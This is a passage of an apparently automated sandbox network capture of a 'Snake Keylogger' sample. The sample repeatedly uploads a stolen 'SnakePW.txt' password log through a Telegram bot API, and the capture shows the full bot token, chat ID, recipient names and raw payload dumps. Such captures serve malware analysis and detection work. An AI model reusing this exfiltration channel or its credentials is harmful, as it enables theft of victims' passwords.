{"ok":true,"result":{"message_id":66961,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228840,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
191	192.168.2.5	50065	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:00 UTC	322	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575705233631 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:00 UTC	322	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 35 32 33 33 36 33 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575705233631Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:00 UTC	323	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:00 GMT Content-Type: application/json Content-Length: 509 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:00 UTC	323	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 36 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 34 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66962,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228840,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
192	192.168.2.5	50068	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:00 UTC	324	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5757055edd67 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:00 UTC	324	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 35 35 65 64 64 36 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5757055edd67Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:01 UTC	325	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:01 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:01 UTC	325	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 36 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 34 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66964,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228840,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
193	192.168.2.5	50070	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:01 UTC	325	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5757059ccc9d Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:01 UTC	326	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 35 39 63 63 63 39 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5757059ccc9dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:01 UTC	326	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:01 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:01 UTC	327	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 36 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 34 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66965,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228841,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
194	192.168.2.5	50074	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:01 UTC	327	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575705d140a8 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:01 UTC	327	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 35 64 31 34 30 61 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575705d140a8Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:01 UTC	328	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:01 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:01 UTC	328	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 36 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 34 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66966,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228841,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
195	192.168.2.5	50077	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:01 UTC	329	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5757060f3d38 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:01 UTC	329	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 36 30 66 33 64 33 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5757060f3d38Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:02 UTC	330	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:02 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:02 UTC	330	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 36 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 34 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66967,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228842,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
196	192.168.2.5	50079	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:02 UTC	330	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5757064d3a4a Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:02 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 36 34 64 33 61 34 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5757064d3a4aContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:02 UTC	331	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:02 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:02 UTC	332	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 36 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 34 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66968,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228842,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
197	192.168.2.5	50080	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:02 UTC	332	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57570688d784 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:02 UTC	333	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 36 38 38 64 37 38 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57570688d784Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:03 UTC	333	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:02 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:03 UTC	333	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 36 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 34 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66969,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228842,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
198	192.168.2.5	50082	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:03 UTC	334	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575706c6d31c Host: api.telegram.org Content-Length: 504
